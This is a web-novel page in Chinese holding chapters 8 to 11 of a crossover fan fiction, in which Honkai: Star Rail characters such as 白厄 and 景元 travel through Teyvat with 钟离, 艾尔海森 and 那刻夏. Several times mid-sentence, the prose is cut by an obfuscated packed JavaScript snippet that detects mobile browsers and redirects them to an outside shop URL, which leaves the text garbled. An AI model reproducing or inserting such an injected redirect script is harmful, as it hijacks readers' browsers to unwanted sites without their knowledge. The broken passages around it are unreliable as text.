背后猛地响起一道熟悉的声音,紧接着一阵刀光闪过。白厄的身体顿时紧绷起来,急忙跳到一边躲过这致命一击。 法尔伽? 看清袭击他的人面庞时,白厄惊讶不已。 刚才还哥俩好地揽着自己的肩膀喝酒,怎么现在就刀剑相向了。 难道刚才是在演戏吗,还是说现在是在演戏? “呀!” 法尔伽双手持两把大剑冲过来,白厄只能迎战。一巴掌把法尔伽右手的大剑拍在地上,同时用嘴狠狠咬住另一把。 “喝!” 法尔伽的嘴里发出怒吼声,白厄的牙齿有点儿遭不住了,只觉得满口的牙都要脱落了。他往猛地一扑,直接将法尔伽扑倒在地。 法尔伽的后背擦着地面擦出去老远,火星子乱飞。他死死地抵挡着白厄的进攻,同时双膝微微一屈,顶着白厄的腹部直接将他顶了出去。 白厄跳到了法尔伽的后面,肚子被顶得隐隐作痛,但还是朝他发起来攻击。尾巴像是鞭子似的灵活地扫向法尔伽,带着一阵小风,卷起地上的石子直冲面部。 法尔伽一个起跳灵活地避开,借着空中的优势两把大剑再次劈下来。白厄微微仰起头,借着路灯转了个圈儿,换了个方向踹向法尔伽。 法尔伽没有攻击到白厄,只能竖起两把大剑格挡。脚后跟在地上擦出去老远,白厄的体型庞大,力量也不弱。法尔伽额角青筋暴起,用尽全身力气反击回去。 白厄受到阻力,在半空中翻了个圈儿后稳稳落地。他心里有些诧异,没想到这具萨摩耶的身体也能这么灵活。然而落地的瞬间,他却发现自己不知道什么时候已经恢复了人形。 难道? 白厄低头看着自己的双手,突然间明白了为什么法尔伽上一秒还好好的,下一秒就朝自己发起攻击。 他是在帮助自己找出恢复人形的契机。 有那么一瞬间,他找到了以前和万敌切磋身手的感觉。白厄抬起头,唇角弯了弯,依稀有几分意气风发的味道。 “来吧,大团长。” 法尔伽扔了一把大剑给他,“听说你以前也是使大剑的。” 大剑在空中打了几个转儿,撞击着空气发出沉闷的声音,足见这把剑有多重。 白厄接过后挥了几下,笑着开口:“太轻了,比起我的侵晨差远了。” “哈?”法尔伽的小心脏受到了撞击,但随即笑起来:“这可是迪卢克老爷的,小心以后他不卖给你酒喝。” 迪卢克? 白厄的脑海中涌现一个酒红色酒保的形象,难怪脸总是梆硬,能耍得动这把大剑的可不是常人。 “对阵中,走神可是大忌!” 法尔伽已经冲了过来,手里不知道什么时候已经多了一把大剑。红与灰相间的配色,与他这个人体呈现的绿色有些格格不入。 8.第 8 章 竟然没有追上来? 赛诺已经和卡维到了璃月,但是却没有发现什么心怀叵测之人。 难道是自己想多了? 赛诺抚着下巴思考,然而没心没肺的卡维已经在虚心向萍姥姥请教尘歌壶了。他想知道,到底是怎么样的仙力能把几座庞大的建筑塞到一个小小的茶壶里。 萍姥姥为人慈祥温和,乐呵呵地向卡维解释。赛诺在旁边看着,但是眼神却在几个路过玉京台的人身上扫来扫去。 最近须弥除了来了个和艾尔海森一样疯狂的学者外,还有一个温柔美丽的红发大姐姐,而且整日和小吉祥草王混在一起。 小吉祥草王对她很是依赖,看上去不像是朋友,倒像是母女。身为赤王后裔,赛诺本能感觉到这件事情不对,但又说不上为什么。想起之前听过小吉祥草王说过璃月有位高人的事情,赛诺就抱着一丝希望来了这里。 出现了。 赛诺准确在人群中捕捉到一个高挑的身影,浑身的儒雅气息如何也遮盖不住。只是有些违和的地方,头上居然呆了一只紫色的史莱姆团子。 这个史莱姆可是魔物,居然能堂而皇之地出现在璃月港。 景元待在钟离的脑袋上不愿下来,起初人们还很稀奇地看着,毕竟一向严肃的钟离先生这个样子可不多见。但是看久了也就习惯了,钟离先生看上去虽有些严肃,但是内里有个有趣的灵魂,招猫逗狗也不在话下,就连魔物也能妥协收服,乖乖地不兴风作浪。 听着周围人的窃窃私语,钟离不免有些头痛。 “你如今怎么白日也是这副模样了?” 景元扭了扭圆滚滚的身体,十分无奈:“我也正为此事发愁。想来应是和白厄他们一个道理,与提瓦特不合,只能以这副模样出现在世人眼中了。” 钟离揉了揉太阳穴:“你这副模样倒也不碍事,只是你能否从我的脑袋上下来。” 一听这话,景元使劲往下坐了坐:“不能。若是离了你,旁人以为我是魔物怎么办,那我岂不是分分钟完蛋。” 钟离双手环胸:“好歹也是仙舟将军,再怎么如何也不能分分钟完蛋吧。” 景元有理有据:“背靠大树好乘凉,若是能轻松些,我何必去外头淋雨。” 钟离无话可说了,大庭广众之下,他总不能将景元从头上拽下来。他本想走到一个僻静的地方再办此事,不料景元像是已经看出自己的想法,直接叫了人来。 “萍姥姥,你身旁站着的少年根骨奇佳,看上去是个习武的苗子,不若收下做个徒弟吧。” 景元所说的少年正是赛诺,方才他就注意到了,这个少年一直看着钟离,欲言又止,像是有什么事情。 原本双手环胸的赛诺放下手来。 萍姥姥还没有说话,卡维已经忍不住了:“收他还不如收我呢,须弥可离不开大风纪官。” 萍姥姥笑呵呵道:“大风纪官在须弥威名远扬,可一日都不能不在。” 一场收徒风波就这么在卡维和萍姥姥的三言两语下落下帷幕,钟离已经走远,赛诺跟了上去。见他们在三碗不过港坐下,正要上前,却见一个白发男子已经落座。 “白厄?” 景元从钟离的脑袋上跳下来,在桌子上蹦了几下:“你怎么从蒙德过来了?” “大团长送我过来的。”白厄面带笑容:“而且他还帮我找到了恢复人形的契机。” 钟离喝了一口茶:“什么契机?” “在遇到危险时,有一定概率恢复人形。”白厄拔出一把深红色的大剑:“他还送了我一把武器,据说是狼的骑士用过的,拥有神奇的力量。” 景元发出赞叹,“看来这一趟蒙德之旅,是大有收获。大团长不愧是乐于助人之人,我如今尚且还不知道恢复人形的契机呢。” 景元幽怨地看了钟离一眼,钟离只当无视。 白厄没有看出两人之间的暗流涌动,提议道:“不如我带你回蒙德,也让大团长帮一帮你?” “不用了。”景元伸出小触手摆了摆:“我可没有那么大的面子。再者我只是来度假的,恢不恢复人形也没有大碍。是不是,钟离先生?” 钟离放下茶杯,唇角勾起:“自然。” 白厄抓了抓后脑勺。 钟离道:“此番来璃月,可是有伙伴的线索了?” 白厄点了点头:“前几天在猫尾酒馆听到有人说须弥来了个学者,我估摸着应该那刻夏老师,所以想去看一看。” 钟离道:“原是如此。” “正巧我闲来无事,不如陪你走上一遭。”景元的身子在桌子上弹了几下,一脸兴致勃勃的样子,“钟离先生不若一同前往?” 钟离一口应承下来:“也好。” 白厄特别感激:“谢谢你们。” 正在假装买石头的赛诺将这一切全都听在耳朵里,见他一直不买,石头老板都忍不住着急了:“客官,您还要看多久呀。” 赛诺回神,随便指了几样包起来买下。再看三碗不过港,发现原先坐着的位置已经空空如也。 赛诺:“……” 好强的行动力。 赛诺不禁感叹一声。 不过这样也好,不用他出面,钟离也去了须弥。 确如赛诺所言,钟离三人正想取道层岩巨渊,去往须弥。一路上魔物不少,起码蒙德周围的要多,而且要强上不少。 白厄没让钟离他们出手,本来就是自己的事情,他们能帮自己已经很感激了。不过钟离好像也没闲着,时不时给他套个盾什么的,没让他受一点儿伤害。 景元也是,之前他喜欢趴在钟离的头上,现在倒是喜欢待在白厄的脑袋上,还经常喜欢放电。有时候都不同白厄挥舞大剑,好几个魔物都直接被他炸飞了。 才一天时间,三人就到了层岩巨渊。看着层峦叠嶂的群峰,白厄不免觉得有点儿眼晕。这里的地形就像个巨大的漩涡似的,看一眼就容易被吸进去。 钟离若有所思:“这里的污染越发严重了。” 景元的神情也有点儿严肃。 白厄很茫然:“什么污染?” “深渊。”钟离言简意赅:“一切从提瓦特外来的东西,都可视为深渊,甚至包括你们。” 白厄眉头轻皱:“是我们的到来加重了这里的污染?” 钟离摇了摇头:“倒也不能这么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382453|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 一番话把白厄说得有点儿糊涂了。他正想问明白,不料钟离已经抢先一步开口:“走吧,从下面那条小道穿过去,就能到须弥了。” 不等白厄说话,钟离已经先行一步下去了。 待在白厄脑袋上的景元催促道:“我们也下去吧。” 白厄点头,跟着钟离一跃而下。 呼呼的风声在耳畔响起,落地最先触发的不是纷飞的石块,而是几十个黑紫色的魔物。他们都是从旁边几摊污泥里面出来的,长得和以前那些魔物一样,但却看上去更加凶恶残狠。 景元皱眉:“这是什么东西?” 白厄已经手持大剑,蓄势待发。 “以前虚假之天破了个洞,不少魔物从里面涌出来。现在看来,是卷土重开了。” 钟离抬头望了望天,隐约可见有个方形的窟窿。 白厄已经冲了上去,不同于之前遇到的魔物,一下一个,能够很快地解决。现在得费一点儿功夫,三四下才能消灭一个。消灭了居然还能从污泥里再生,仿佛永远也杀不完,灭不尽。甚至那些魔物还变了个样子,像个倒立的黑紫色花苞似的,一下子长高了几米。 白厄仰起头看着,花苞张开了血盆大口,他持剑抵挡。然而这个花苞聪明得很,还会以柔克刚,索性将嘴巴张得更大点儿,想将剑也一起吞进去。 景元现在是史莱姆形状,心有余而力不足,只能叫钟离帮忙:“钟离先生,帮帮我们!” 话音刚落,一排排岩枪已经砸下。浓烈且明亮的岩元素力蔓延开来,温暖却又极富侵略。魔物们全都石化在原地,然后顷刻间化作小石子,如尘埃一般落在地上。 这种摧枯拉朽的力量,白厄只在泰坦身上见到过。虽然自己也曾有过这种力量,但是如今已经尽数消散了,就连负世的火种也不曾留下。 “他们去哪儿了。” “回老家了。” 景元和钟离一问一答,及时解答了白厄的疑惑,又像是在转移话题。那股熟悉的大地气息扑面而来,想叫人忽视也难。 白厄走了几步到钟离面前。 如我所书在掌心上方悬浮。 趴在白厄头上的景元屏住了呼吸。 钟离看了眼如我所书,又看了眼白厄。 如我所书在白厄的期许下发出奇异的光芒。 景元轻轻叹息一声。 白厄开了口:“钟离先生之前曾告诉过我,如我所书在有伙伴的消息的时候,才会发出这种光芒。但现在,它却发出了。” 钟离垂下眼眸,似是在考虑。 白厄没有再继续说,而是静静等待着。如果钟离不说的话,定有他的道理。 钟离抬眸,没有否认,但也没有承认,只是静静地望着白厄。浅蓝色的眸子一点点染上金色,有一枚泰坦的火种缓缓在钟离的胸前呈现。 白厄揉了揉眼睛,几乎要以为自己看错了,但是钟离直接伸手将那枚火种从胸前掏了出来。象征着大地泰坦的鎏金色纹路在火种上缓缓浮现。 钟离上前一步,想要将火种递给白厄。 但是白厄却像是被烫到一样往后退了几步,他不想要火种。 9.第 9 章 到了须弥的时候,天已经黑了。只来得及看见郁郁葱葱的树林和高大的灌木丛,但还没有欣赏到一点儿,就只能在黑夜里等待白日的到来了。 野外有不少绿色的帐篷,还有烹饪的锅。白厄去猎了几头蕈猪,不仅有蘑菇吃,还能喝到肉汤。景元生了火,一下又一下地撞击着木柴,但又小心翼翼地避着,唯恐燃起来的大火瞬间把自己烧成灰。 这副史莱姆身体弹弹的,景元蹦跶着去找捡柴的钟离。 须弥的景色赏心悦目,即使在黑夜也别有一番姿色。皎洁的月色透过高大的枝叶射下来,在地上投下几块斑驳的影子。小小的萤火虫在空中飞舞着翅膀,执着地发出微弱的光芒。 钟离分明在捡柴,但是身形却依旧丰神俊朗,浑身的气质是如何也遮掩不住的。搭配着飘渺的月色,这副景象当真是赏心悦目。 景元蹦跶着过去,圆滚滚的身体一弹一弹的。 “火已经生好了。” 钟离点了点头,抱着一捆木柴和景元一起回去。 还没到帐篷,一股浓郁的肉香的气息就扑面而来。景元笑了笑:“没想到白厄还有这手绝活。” 白厄正在烤肉,手上动作没停,但是眼睛已经看了过来:“你们回来了,我捣了点儿香辛料洒在上面,闻着味道不错。” 钟离和景元坐了下来,景元眼巴巴地望着,钟离忍不住道:“说出去你是个将军,何人会相信。” 景元毫不在意:“将军只是一时的身份。” 钟离道:“我倒是忘了,你平生夙愿是做个巡海游侠。” 景元的小触手竖了个大拇指:“先生的记性当真是不错。” 白厄将烤好的肉递给了钟离,钟离看着白厄,青年的面庞在火光的映衬下越发真挚。他伸手接过:“多谢。” 简简单单的两个字,仿佛将两人之间的冰雾冲散了些。刚才在层岩巨渊的时候,钟离想将火种还给白厄,但是白厄不想要。他问钟离的时候只是想知道真相,没有讨要火种的意思。如果此行是为火种而来,那么他就不会踏上征途。 现在的生活其实挺好,四处走走,权当旅行,像是登上了星穹列车一样。虽然载体不同,但是目的却都是一样的。如果说在找到风堇之前,他是担心伙伴的安危才想把他们找回来。但是在见到风堇在蒙德生活得很好后,这个理由也就被冲淡了很多。 他现在想的是看看伙伴们过得怎么样,然后感受旅途的风景。曾经他的愿望是实现大家的愿望,而现在自己的愿望是实现自己的愿望。 有点儿拗口对不对。 但这就是自己的愿望。 钟离咬着烤肉。 白厄偷眼看着,听说这位钟离先生都是食不精不肯下咽的。不仅是连入口的食物,就连平时做的事情,也都很有讲究。 听戏要点最受欢迎的云先生,遛鸟要买最名贵的画眉,吃饭都要到后厨去指点厨师做菜,最后甚至连厨师都甘拜下风。 这些都是在蒙德的时候温迪告诉他的,当然,全都是吐槽的口吻。 这样一个从里到外都精致的人,居然会在野外吃只撒了香辛料的烤肉。甚至这一切都是为了帮自己找到伙伴,而自己还在为真相耿耿于怀。 “对不起。” 景元正用触手撕着烤肉吃,听到这一句差点儿放出电来。 钟离道:“不用道歉,是我隐瞒在先。” 景元打趣道:“隐瞒的人自然要受点儿委屈,古往今来,从来如此。所以,你也不用再耿耿于怀了。” 白厄挠了挠后脑勺:“你们对我也太包容了。” 钟离抿了抿唇。 景元嚼着烤肉:“如果你觉得不好意思的话,此行路上的伙食,全由你包了。” 钟离轻轻压了压景元的脑袋,“欺负小朋友。” “什么小朋友。”景元躲到白厄旁边:“你的年龄我不敢保证,但白厄的真实年龄可比我大多了。” “面庞看着年轻。”钟离道:“你看着老成。” 两人开着玩笑,但是白厄却嗅出一丝不对劲儿。 钟离的年龄不敢保证? 自己活了三千多万世,就算一世一年,那也三千多万岁了。 看来钟离的真实年岁远远不止比外表看上去大得多那么简单。 不过能承担得起大地泰坦火种的人,指定也不是常人。白厄没有多想,只是又烤了几块肉。 木柴在安静的夜里发出噼里啪啦的响声,肉块在烈火的烤制下发出诱人的香味。一切都显得那么宁静安详,小虫子的叫声窸窣作响,渐行渐近的脚步声轻微可见。 钟离压低了声音:“有人来了。” 景元跳到了白厄的脑袋上,然而这次跳上去竟然有点儿容易。他不禁低头一看,原来白厄不知道什么时候居然恢复成了萨摩耶的样子。 白厄对此也感到困惑,看着自己的右前爪有点儿不敢置信。 “看来是朋友。” 钟离话音刚落,两道清冷的声音也顺着树林间的缝隙传来。 “半夜三更出来巡视,这似乎是巡林官的职责。大书记官做得这么顺手,看来以后就算被人逐出了教令院,也能有个好去处。” “把我逐出教令院的任务任重而道远,那刻夏老师若是想完成这个任务,还得费一点儿功夫。” “别叫我那刻夏。” “好的,那刻夏老师。” “老师不敢当,我可没有教过你将耳机线塞进后腰里。” “彼此彼此,毕竟我也没有腋下开窗的习惯。” “你的腋下当然不用开窗,只需要十分有心机地穿个黑色紧身衣就行了。别人都是在图书馆看书,你是在图书馆练杠铃,只练上半身,不练下半身。” “总比在鞋底涂红色油漆强,涂了别人也看不到。” 两人你一言我一语,针锋相对,言辞激烈。说是朋友吧,但吵得这么凶。说不是朋友吧,两人还结伴同行,即便吵得这么凶也不分开。 艾尔海森和那刻夏发现了绿色的帐篷和围在篝火前的钟离以及萨摩耶和史莱姆团子。 “这只萨摩耶……”那刻夏看到白厄后就情不自禁地走了过去,抚着下巴沉吟片刻:“有点儿熟悉。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386794|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那刻夏老师。”白厄已经迫不及待了。 “哦?还会说话?”那刻夏觉得很新奇,忍不住掰着白厄的妙脆角研究起来。 景元不得已从白厄的脑袋上下来,跳到了钟离的怀里。 “钟离先生。” 艾尔海森已经和赛诺通过气了,小吉祥草王是须弥的神明,又容易轻信他人,容不得一点儿闪失。 景元爬到了钟离的头上,“你们认识?” “在港口漫步的时候认识的。”钟离唇角微勾:“大书记官为人清冷疏离,给人的印象很深。” 当时艾尔海森还是代理贤者,按例在奥摩斯港简单巡查一下。听旅行者说了在须弥发生的事情后,钟离就起了来须弥的心思。两人在港口不期而遇,但是却没说上几句话。 艾尔海森不喜与人交际,工作之外的人和事更是疲于应付。虽然觉得钟离看上去不同寻常,但也没有上去搭讪,直到两人第二次在沙漠中相遇。 艾尔海森是来完成个课题,钟离像是来旅行的,但是却对沙漠中的文化讲得头头是道。 一般人不会来沙漠,更别说是来旅行了。当然,除了某个金色头发的旅行者除外。不过他来沙漠也是要找个由头的,不是帮人完成课题就是有事情要办。 像钟离这样漫无目的的人真是不多见。 不理解,但是尊重。 直到遇上一场前无古人后无来者的流沙。 艾尔海森虽然是个文弱的学术分子,但是面对流沙一向是听天由命。按照惯例来说,下面一般会有个秘境什么的东西,会对自己的课题有所帮助。 但是这次例外,人的运气总不会无缘无故那么好。艾尔海森吃了一嘴沙子,眼看就要被淹没,钟离出手了。 温暖又厚重的岩元素力蔓延开来,脚下的流沙瞬间变成齐整结实的土地。艾尔海森的身体不再下陷,脚下也平稳了。 他看着钟离,只有神明才能抵抗这种大自然的力量,扭转局势,改变地形。但是钟离不说,他也没问。神明本来就存在于提瓦特,没什么稀奇的。或许人家只是来沙漠寻访旧友的,自己碰巧被他救了而已。 但艾尔海森还是说了谢谢。 钟离抿了抿唇角:“大书记官为人清冷疏离,这一句谢谢倒是难得。” 这人的唇角总是噙着笑意,而且总是一副胸有成竹的样子。 以前自己总是胸有成竹,但更多的只是漠不关心。但钟离的胸有成竹,却是一种建立在实力之上的胜券在握。谋无遗策只是前招,他一直都留有后手。 不过神明和人之间本来就有差距,艾尔海森也没觉得什么,更没有什么心思去结交。一趟沙漠之旅下来,两人也只混了个脸熟。 当时赛诺说要去璃月找人时,他第一个想到的就是钟离。但是没有想到,来的人真是钟离。来不及想赛诺是怎么和钟离认识的,艾尔海森已经打了招呼。 没想到钟离居然还记得他,甚至“为人清冷疏离”说得颇有几分理直气壮。 艾尔海森脸上没有半分神色,“钟离先生见多识广,给别人的印象也很深。” 10.第 10 章 白厄被那刻夏拽进了教令院。 虽然他现在这个庞大的体型进教令院不合适,但是那刻夏老师让大书记官艾尔海森给他开了后门。 此时此刻白厄正蹲在教令院的后门,看着门的高度陷入沉思。 那刻夏双手环胸站在身边:“犹豫什么?” “我有个疑问。”白厄挠了挠后脑勺:“那刻夏老师是怎么认出我的?” “你是我的学生,化成灰我都认识。”那刻夏摸了摸白厄的妙脆角,“进去。” “好的,那刻夏老师。” 刻在骨子里的尊师重道,白厄没有办法违抗老师。他大摇大摆地进了教令院,立即收获了一群身着学士服学生的目光。 虽然大书记官已经提前和教令院打了招呼,但是这么一个庞然大物进来,带来的威压还是不少的。当然除了敬畏外,还有一些别的声音冒出来。 “好可爱啊,这是那刻夏老师研究出来的新物种吗?” “那刻夏老师好厉害啊,可惜为人太严厉了。” “小声点儿,当心那刻夏老师让你毕不了业。” 听着那些学生的窃窃私语,白厄不由得捂住了脸。 “看来那刻夏老师的声望有待提高。” 一个清冷的声音传来,白厄朝声源看去,究竟是谁这么勇。 果不其然是大书记官艾尔海森。他缓步走来,学生们自动为他让开一条通道。 听出艾尔海森话里的讥讽,那刻夏自然也不遑多让:“彼此彼此,你大书记官的名声也是万里挑一。” 白厄一脸茫然。 万里挑一这个词儿还能这么用吗? “钟离先生,你觉得呢?” 景元在书桌上跳来跳去,象征性地问了一下正在努力装作透明学生的某个神明。 钟离翻了一页书,慢条斯理道:“古时都有通假字,随着时间的演变,璃月谚语的意思也会发生相应地变化。” “先生看得真是通透。”景元蹦到了钟离旁边的椅子上,摇身一变。 银白色的发丝像瀑布一般垂在肩膀上,他支着胳膊,斜斜地支撑着面颊,似笑非笑地望着正在专心看书的钟离。 “先生如此博学多识,竟也对这些书籍感兴趣。” “闲来无事,多读多看。” 钟离随手丢了一本给景元,景元完全可以避开,却任由书本砸到自己的面颊上,带起来的一阵小风扰乱了一缕他的发丝,他却不甚在意,在书本要落到地面上时及时伸手接住了。 “什么好东西值得钟离先生这么投……” “入”字还没有说完,景元在看清这本是什么书的时候声音戛然而止。他微微皱了皱眉,“如我所书?” 这本封面泛着星空般的颜色,正是如我所书的专属标识。 “许是巧合……” 一本从天外掉进来的书,怎么可能会有第二本一模一样的。景元随手翻了几页,里面不是一页又一页的空白,而是配了插画和文字。 他松了一口气:“我就说是在巧合……”然而话还没有说完景元就再次戛然而止。 这本书虽然不像如我所书那样初始页面全都是空白,但是里面记录的一个个人物却是他们熟悉的。 “白厄、赛飞儿、腾荒、长夜月、风堇、阿格莱雅、遐蝶、那刻夏、万敌、刻律德菈、海瑟音……” 景元一个个读出了他们的名字,神色愈加凝重。 钟离或许对后面的几个名字不熟悉,但是景元是知道的。在银河铁墓之战后,星穹列车向他说明了在翁法罗斯发生的事情。 翁法罗斯并非真实存在的世界,乃是由权杖模拟出来的。在战胜铁墓后,翁法罗斯就被如我所书收录了,期待着有一日能升格成真正的世界里。 翁法罗斯只有一个,如我所书也只此一本。但是现在却有第二本,若说是有第二个权杖也就罢了,但是里面的人物却和翁法罗斯的一模一样。 难道…… 景元下意识看向钟离,“难道如我所书早就存在于提瓦特了?” 钟离没有说话,仿佛是在思考。 景元的思维发散起来。 如我所书是独属于开拓者的,如果早就存在了……不对,这不是早存在晚存在的问题,而是如我所书到底有几本。现在他们看到的是两本,可是还有没有看到的呢。 一本如我所书绑定一个开拓者,还是一个开拓者可以有多本如我所书? 很明显前者更准确。 但是开拓者为人有点儿抽象,而且十分不着调。鉴于曾经放出豪言要复制很多本在银河贩卖的事实,景元对这个准确的前者缓缓打了个问号。 如果掉落提瓦特的如我所书不止一本,也就是说白厄不止一个。 等等。 在翁法罗斯的时候,白厄原本就不止一个,也不止两个,而是有很多很多个。 如果每一个白厄都对应着一本如我所书的话,也就是说每一世的白厄都会被如我所书记录下来。如果说当时景元看到的如我所书是三千多万世的积累的话,那么现在在手里的两本如我所书就是某一世以及前面的积累。 也就是说在很早的时候,如我所书就已经被开拓者不小心掉落在提瓦特了。先不说这个不小心是否是有心者故意为之,只说开拓者为什么会拥有这本如我所书。 是因为去了翁法罗斯。 如果去一次翁法罗斯就能有一本如我所书的话,那么开拓者应该去了三千多万次的翁法罗斯了。每次战胜铁墓后带出来如我所书,然后再进去。周而复始,乐此不疲。 不对。 景元摇了摇头。 时间对不上。 星穹列车去翁法罗斯是在离开匹诺康尼之后,而那个时候钟离已经在仙舟了。如果如我所书早就在提瓦特出现了,那么钟离不会全然不知。 “……” 思及此处,景元眉头紧皱。 翁法罗斯的循环往复把星穹列车也困在里面了。而星穹列车是一辆神奇的列车,能突破什么时间空间的维度也说不准。 再者翁法罗斯的时间流速本来就与外界不同。 “看样子,你想到了什么。” 钟离的声音把景元拉回现实,景元的唇角溢出一抹苦涩。 “钟离先生,事实恐怕比你想得要严重得多。” 景元把方才所想全都和钟离说了一遍,但其实钟离早就料想到了几分,只是当景元把信息补全的时候,钟离才拼凑出了事实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392224|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全貌。 “看来,铁墓的失败只是假象。”钟离道:“或者说是必然。这一点也在赞达尔的算计之中,那个名叫吕枯耳戈斯的智械极有可能已经来到了提瓦特,正隐藏在某个人的体内,静静等待毁灭的到来。” 景元叹了一口气趴在桌子上,银色的发丝遮住了大部分的面庞。 “如果这是一个轮回的话,按理说参与了那场铁墓大战的人都会被困死在里面。当时是我提议去支援,如今想来,十分后悔。” 钟离挑眉:“将军也会有后悔的时候。” 景元道:“我倒不是后悔去支援,而是后悔让符卿做了先锋。倘若中间出点儿什么岔子,将军一职可就后继无人了。” “或许冥冥之中自有天意。”钟离道:“联盟元帅放你假期,何尝不是一种巧合的安排?” “说来也是。”景元道:“早在仙舟时,元帅便知我与你关系匪浅。若是得了空,我必会来寻你。误打误撞,这本如我所书正巧掉入提瓦特。然后借我之口,补全翁法罗斯刻意被掩埋尚未公布的信息。” 钟离不置可否。 景元支着下巴,侧着脑袋,上上下下将钟离打量完毕,一分一寸都不放过。 钟离察觉到他的视线,不明所以:“看我作甚?” 胳膊肘前进一步,景元将两人的距离拉近,笑容意味深长。 “钟离先生。” 钟离的眉头轻轻挑了一下:“什么?” 景元唇角微勾:“你到底是什么人物?在仙舟时,我等不明白你是谁便也罢了。但如今是在提瓦特,你的故乡,我竟也不明白你是谁。” 钟离扯了扯唇角。 景元继续开口:“璃月那些与你签订契约的仙人们也不知你究竟是谁,唯有一个白马仙人才能稍微探得一点儿口风。” 钟离按了按太阳穴:“你来璃月不过几日,就能顺利和仙人们打成一片,在下自愧不如。” “先生谦虚了。”景元道:“仙人们不过是看在你的面子上才和我聊上那么一两句。” 钟离有心想岔开话题:“将军在仙舟时的确对我很是照拂。” “既然很是照拂,就不该有所欺瞒。”景元缓缓吐出四个字:“岩主天星?” 钟离无奈叹息一声:“将军……” “比起将军,我更喜欢你称呼我为景元。” “景元。”钟离的神情正经了几分。 “罢了。”景元重新去翻那本如我所书:“你不想说就不用说了。” 他翻得匆忙,且又急又燥。冷不防一阵微凉的清风吹来,一道稍许轻佻的少年声音传来。 “什么不想说?什么又不用说啊?” 一个飘着的风精灵毫无征兆地出现在他们面前,肉眼可见下,温迪的标志小斗篷呼呼地飞着,他嬉笑着和两位打招呼。 “老爷子,景元,别来无恙啊,有没有想我啊。” 温迪出现时带来的清风很好地拂去了景元心头的燥热,却也使得他变成了史莱姆的样子。 “诶?” 景元哭笑不得地在桌子上蹦了几下。 “你是不是惹我们家老爷子生气了?”温迪飞舞着小翅膀在景元的脑袋上飞来飞去,像只小蜜蜂似的。 11.第 11 章 钟离翻着如我所书不发一言,任由温迪将景元啄得满头包,末了唇角才压不住地开始上弯。 那刻夏老师已经开始授课了。 地点当然不在图书馆,而是换到了教室。白厄看着一屋子学士服的学生们,再看看自己白毛毛的身躯,怎么都觉得屁股底下的椅子特别难受。 其实头顶也很难受。 自己这个身躯实在是太庞大了,头顶天花板,占了两排座位。鉴于自己很容易挡住后面学生的视线,白厄自觉地走到了教室最后一排。 那刻夏老师敲了敲黑板,很清脆的一声响,但是白厄的身体立即紧绷了起来。学生时代被老师支配的恐惧,在这一刻展现得淋漓尽致。 白厄正襟危坐。 那刻夏老师开始在黑板上写字,叫学生自己先翻书。 不得不说,那刻夏老师还是很传统的。须弥已经有了虚空的存在,虽然现在已经被摘除,但足以说明科技发展到了不需要亲自板书的阶段。 老师们完全可以用一些电子设备来代替,但是那刻夏老师很执着。但是他自己不用也就算了,还撺掇其余导师也不许用。除却这些,他甚至还去教令院举报,让一些风纪官严查其余导师的论文,有没有什么掺假的。 引得须弥上下风声鹤唳,草木皆兵,风纪官们忙得不行,教令院某些德高望重的导师们也人人自危。一时之间,那刻夏老师的风评在须弥急转直下。 为什么用急转直下这个词儿呢,因为之前那刻夏老师的风评还是不错的,当然大多是因为大书记官艾尔海森的缘故。 在教令院其他人看来,艾尔海森向来眼高于顶,恐怕连小吉祥草王都不放在眼里,可偏偏没有什么人能说得过他。 别看艾尔海森平时话不多,但怼起人来可厉害了。都不需要刻意打听,稍微了解一下他那位可怜巴巴的金发学长就知道了。 这样一个嘴巴很厉害的人,一般人是不会去招惹的,但那刻夏老师是二般人。他不仅招惹了艾尔海森,甚至旗鼓相当,有时候居然还能稍微占据下上风。 听吧。 某日两人同游沙漠,我们文弱的学术分子大书记官低下头,抬起头,眉头轻皱:“啧,鞋里进沙子了。” 那刻夏老师双手环胸,下巴微抬:“那位在白树上意图窥见魔天奥秘的倒吊人倒是不用担心鞋里会不会进沙子,大书记官不如学一学?” 据某位好心的金发学长所说,当时大书记官差点儿没直接一头栽入沙子里。但鉴于这句话带有明显的个人色彩,我们暂不做考虑。但那刻夏老师能精准怼人的本事我们是知道了的,而且丝毫不亚于大书记官。 由于这件事被教令院传得神乎其神,是以那些早就看不惯艾尔海森的人都对那刻夏老师打了好评。但谁都没有料到,这位那刻夏老师才是真正的地狱级别的魔鬼。 艾尔海森向来是事情不犯到头上都置之不理的,比如学术诈骗窃取之类的,他早就知道这种事情在教令院内部层出不穷。但是他又不是风纪官,这件事不归自己工作范围,所以他也只当没看见。 但那刻夏老师不一样,他似乎有着一种很执着的心态,定要将教令院的败类一扫而光。 